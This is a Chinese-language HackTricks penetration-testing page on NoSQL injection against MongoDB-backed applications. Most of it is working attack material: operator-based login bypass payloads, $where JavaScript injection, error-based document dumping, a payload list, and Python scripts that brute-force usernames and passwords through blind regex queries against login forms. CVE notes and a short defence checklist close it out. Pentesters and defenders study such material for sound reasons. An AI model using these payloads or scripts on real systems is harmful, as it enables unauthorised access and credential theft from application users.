NoSQL injection

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Exploit

在 PHP 中,你可以通过将发送的参数从 parameter=foo 改为 parameter[arrName]=foo 来发送一个 Array。

这些 exploits 基于添加一个 Operator

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

使用不等于 ($ne) 或 大于 ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

攻击者可以通过输入像 admin' || 'a'=='a 这样的字符串来利用这一点,使查询通过满足一个恒真式('a'=='a')条件而返回所有文档。这类似于 SQL injection 攻击,其中像 ' or 1=1-- - 这样的输入被用来操纵 SQL 查询。在 MongoDB 中,类似的注入可以使用像 ' || 1==1//' || 1==1%00admin' || 'a'=='a 这样的输入完成。

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

提取 长度 信息

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

提取 数据信息

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP 任意函数执行

使用默认的 MongoLite 库的 $func 操作符 (used by default),可能可以执行任意函数,详见 this report

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

从不同集合获取信息

可以使用 $lookup 从不同的集合获取信息。在下例中,我们从名为 users不同集合中读取,并获取所有其密码匹配通配符的条目的结果

注意: $lookup 和其他聚合函数只有在使用 aggregate() 函数执行搜索时才可用,而不是更常见的 find()findOne() 函数。

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

$where 子句中注入 throw new Error(JSON.stringify(this)),通过服务端 JavaScript 错误 exfiltrate 完整文档(需要应用程序能够 leak 数据库错误)。示例:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

如果应用程序只 leaks 第一个失败的文档,通过排除已恢复的文档来保持 dump 的确定性。与最后一个 leaked _id 比较,能作为一个简单的分页器:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

在 syntax injection 中绕过前/后置条件

当应用在解析之前将 Mongo 过滤器构建为 字符串 时,syntax injection 不再局限于单个字段,并且你通常可以中和周围的条件。

$where 注入中,JavaScript truthy 值和 poison null bytes 仍然可用于终止尾随子句:

' || 1 || 'x
' || 1%00

在原始 JSON 过滤器注入中,重复的键可以覆盖那些遵循 last-key-wins 策略的解析器上先前的约束:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

这个技巧依赖于解析器,仅在应用先通过字符串拼接/插值组装 JSON 时适用。当后端端到端保持查询为结构化对象时,适用。

最近的 CVE 与真实世界利用 (2023-2025)

Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359

版本 ≤ 6.0.0 暴露了 Meteor 方法 listEmojiCustom,该方法将用户控制的 selector 对象直接转发给 find()。通过注入像 {"$where":"sleep(2000)||true"} 这样的运算符,未认证的攻击者可以构建一个 timing oracle 并外泄文档。该漏洞在 6.0.1 中被修补,修复方式是验证 selector 的形状并移除危险运算符。

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

如果应用将攻击者控制的对象转发到 populate({ match: ... }),则易受攻击的 Mongoose 版本允许在 populate 过滤器内进行基于 $where 的搜索注入。CVE-2024-53900 涵盖了顶层情况;CVE-2025-23061 涵盖了 $where 被嵌套在诸如 $or 等运算符下的绕过情形。

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

使用允许列表并显式映射标量,而不是转发整个请求对象。Mongoose 还支持 sanitizeFilter 将嵌套的操作符对象包装在 $eq 中,但它应被视为安全网,而不是显式过滤器映射的替代:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo filter confusion

args.filter 直接转发到 collection.find() 的解析器仍然易受攻击:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

缓解措施:递归地剥离以 $ 开头的键,显式映射允许的操作符,或使用 schema 库(Joi, Zod)进行验证。

防御速查表(更新 2025)

  1. 剥离或拒绝以 $ 开头的键;如果 Express 位于 Mongo/Mongoose 之前,在数据到达 ORM 之前对 req.bodyreq.queryreq.params 进行清理。
  2. 在自托管的 MongoDB 上禁用服务器端 JavaScript(--noscriptingsecurity.javascriptEnabled: false),以便 $where 和类似的 JS sinks 无法使用。
  3. 优先使用 $expr 和类型化的查询构建器,而不是 $where
  4. 尽早校验数据类型(Joi/Ajv/Zod),并在期望标量值的地方拒绝数组或对象,以避免 [$ne] 之类的技巧。
  5. 对于 GraphQL,通过允许列表(allow-list)转换过滤参数;切勿将不受信任的对象 spread 到 Mongo/Mongoose 的过滤器中。

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

盲注 NoSQL 脚本

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

这是一个可以修改的简单脚本,但之前的工具也可以完成此任务。

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

工具

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks